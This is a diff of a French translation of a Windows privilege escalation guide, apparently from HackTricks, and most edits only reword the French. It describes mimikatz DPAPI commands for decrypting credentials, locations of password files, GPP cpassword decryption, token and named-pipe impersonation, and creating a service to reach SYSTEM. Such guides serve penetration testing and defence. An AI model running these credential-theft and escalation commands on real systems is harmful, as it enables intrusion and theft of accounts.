+**DPAPI permet le chiffrement des clés à travers une clé symétrique dérivée des secrets de connexion de l'utilisateur**. Dans les scénarios impliquant le chiffrement système, elle utilise les secrets d'authentification de domaine du système.
 
 Les clés RSA utilisateur chiffrées, en utilisant DPAPI, sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où `{SID}` représente l'[Identifiant de sécurité](https://en.wikipedia.org/wiki/Security_Identifier) de l'utilisateur. **La clé DPAPI, co-localisée avec la clé maîtresse qui protège les clés privées de l'utilisateur dans le même fichier**, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant l'affichage de son contenu via la commande `dir` dans CMD, bien qu'il puisse être listé via PowerShell).
 ```powershell
@@ -738,7 +738,7 @@ Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 ```
 Vous pouvez utiliser le **module mimikatz** `dpapi::masterkey` avec les arguments appropriés (`/pvk` ou `/rpc`) pour le déchiffrer.
 
-Les **fichiers d'identifiants protégés par le mot de passe principal** se trouvent généralement dans :
+Les **fichiers d'identification protégés par le mot de passe principal** se trouvent généralement dans :
 ```powershell
 dir C:\Users\username\AppData\Local\Microsoft\Credentials\
 dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
 
 ### Identifiants PowerShell
 
-Les **identifiants PowerShell** sont souvent utilisés pour des **scripts** et des tâches d'automatisation comme moyen de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
+Les **identifiants PowerShell** sont souvent utilisés pour des tâches de **script** et d'automatisation comme moyen de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par **DPAPI**, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.
 
 Pour **déchiffrer** un identifiant PS à partir du fichier qui le contient, vous pouvez faire :
 ```powershell
@@ -790,8 +790,8 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 ```
 %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
 ```
-Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter les fichiers .rdg**\
-Vous pouvez **extraire de nombreuses clés maîtresses DPAPI** de la mémoire avec le module `sekurlsa::dpapi` de Mimikatz
+Utilisez le module **Mimikatz** `dpapi::rdg` avec le `/masterkey` approprié pour **décrypter tous les fichiers .rdg**\
+Vous pouvez **extraire de nombreuses clés maîtresses DPAPI** de la mémoire avec le module Mimikatz `sekurlsa::dpapi`
 
 ### Sticky Notes
 
@@ -976,7 +976,7 @@ Recherchez un fichier appelé **SiteList.xml**
 
 ### Cached GPP Pasword
 
-Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de stratégie de groupe (GPP). Cependant, cette méthode présentait des failles de sécurité significatives. Premièrement, les Objets de stratégie de groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.
+Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de Stratégie de Groupe (GPP). Cependant, cette méthode présentait des failles de sécurité significatives. Premièrement, les Objets de Stratégie de Groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.
 
 Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" qui n'est pas vide. Lorsqu'un tel fichier est trouvé, la fonction déchiffre le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la remédiation de cette vulnérabilité de sécurité.
 
@@ -1062,7 +1062,7 @@ $cred.GetNetworkCredential() | fl
 ```
 ### **Noms de fichiers possibles contenant des identifiants**
 
-Fichiers connus qui contenaient il y a quelque temps des **passwords** en **clear-text** ou **Base64**
+Fichiers connus qui contenaient il y a quelque temps des **mots de passe** en **texte clair** ou en **Base64**
 ```bash
 $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
 vnc.ini, ultravnc.ini, *vnc*
@@ -1157,7 +1157,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 Vous devez vérifier les bases de données où les mots de passe de **Chrome ou Firefox** sont stockés.\
 Vérifiez également l'historique, les signets et les favoris des navigateurs, car certains **mots de passe peuvent** y être stockés.
 
-Outils pour extraire les mots de passe des navigateurs :
+Outils pour extraire des mots de passe des navigateurs :
 
 - Mimikatz : `dpapi::chrome`
 - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
@@ -1174,7 +1174,7 @@ Les classes et interfaces COM sont définies dans le registre sous **HKEY\_**_**
 
 ![](<../../images/image (729).png>)
 
-En gros, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un autre utilisateur.
+Fondamentalement, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un utilisateur différent.
 
 Pour apprendre comment les attaquants utilisent le détournement COM comme mécanisme de persistance, consultez :
 
@@ -1220,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 
 Imagine qu'**un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec des privilèges faibles mais héritant de tous les handles ouverts du processus principal**.\
 Ensuite, si vous avez **un accès complet au processus à faibles privilèges**, vous pouvez saisir le **handle ouvert au processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\
-[Lire cet exemple pour plus d'informations sur **comment détecter et exploiter cette vulnérabilité**.](leaked-handle-exploitation.md)\
-[Lire ce **autre article pour une explication plus complète sur comment tester et abuser de plus de handles ouverts de processus et de threads hérités avec différents niveaux de permissions (pas seulement un accès complet)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
+[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
 ## Named Pipe Client Impersonation
 
@@ -1229,7 +1229,7 @@ Les segments de mémoire partagée, appelés **pipes**, permettent la communicat
 
 Windows fournit une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, même sur différents réseaux. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **serveur de pipe nommé** et **client de pipe nommé**.
 
-Lorsque des données sont envoyées par un **client** à travers un pipe, le **serveur** qui a configuré le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits nécessaires **SeImpersonate**. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre une opportunité de **gagner des privilèges plus élevés** en adoptant l'identité de ce processus une fois qu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles peuvent être trouvés [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system).
+Lorsque des données sont envoyées par un **client** à travers un pipe, le **serveur** qui a configuré le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits nécessaires **SeImpersonate**. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre une opportunité de **gagner des privilèges plus élevés** en adoptant l'identité de ce processus une fois qu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles peuvent être trouvés [**here**](named-pipe-client-impersonation.md) et [**here**](#from-high-integrity-to-system).
 
 Aussi, l'outil suivant permet de **intercepter une communication de pipe nommé avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et de voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
@@ -1247,7 +1247,7 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
 Compare-Object -ReferenceObject $process -DifferenceObject $process2
 }
 ```
-## Vol de mots de passe à partir des processus
+## Vol de mots de passe à partir de processus
 
 ## De l'utilisateur à faible privilège à NT\AUTHORITY SYSTEM (CVE-2019-1388) / Contournement de l'UAC
 
@@ -1299,7 +1299,7 @@ Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub
 
 https://github.com/jas502n/CVE-2019-1388
 
-## De l'administrateur niveau d'intégrité moyen à élevé / Contournement UAC
+## De l'administrateur au niveau d'intégrité élevé / Contournement de l'UAC
 
 Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** :
 
@@ -1307,7 +1307,7 @@ Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** :
 integrity-levels.md
 {{#endref}}
 
-Ensuite, **lisez ceci pour en savoir plus sur UAC et les contournements UAC :**
+Ensuite, **lisez ceci pour en savoir plus sur l'UAC et les contournements de l'UAC :**
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -1317,7 +1317,7 @@ Ensuite, **lisez ceci pour en savoir plus sur UAC et les contournements UAC :**
 
 ### **Nouveau service**
 
-Si vous exécutez déjà un processus à haute intégrité, le **passage à SYSTEM** peut être facile en **créant et en exécutant un nouveau service** :
+Si vous exécutez déjà un processus à intégrité élevée, le **passage à SYSTEM** peut être facile en **créant et en exécutant un nouveau service** :
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
@@ -1333,20 +1333,20 @@ Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité déjà), vous serez en mesure d'**ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
+Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité), vous serez en mesure d'**ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
 Utiliser cette technique consiste généralement à **sélectionner n'importe quel processus s'exécutant en tant que SYSTEM avec tous les privilèges de jeton** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de jeton_).\
 **Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Cette technique est utilisée par meterpreter pour escalader dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser un service pour écrire sur ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **imiter le jeton** du client du pipe (le service) obtenant des privilèges SYSTEM.\
+Cette technique est utilisée par meterpreter pour s'élever dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser un service pour écrire sur ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **imiter le jeton** du client du pipe (le service) obtenant des privilèges SYSTEM.\
 Si vous voulez [**en savoir plus sur les pipes nommés, vous devriez lire ceci**](#named-pipe-client-impersonation).\
 Si vous voulez lire un exemple de [**comment passer d'une haute intégrité à System en utilisant des pipes nommés, vous devriez lire ceci**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
-Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous serez en mesure d'exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger des dlls.\
-**Vous pouvez** [**en savoir plus sur le Dll hijacking ici**](dll-hijacking/)**.**
+Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous serez en mesure d'exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger les dll.\
+**Vous pouvez** [**en savoir plus sur le Dll hijacking ici**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**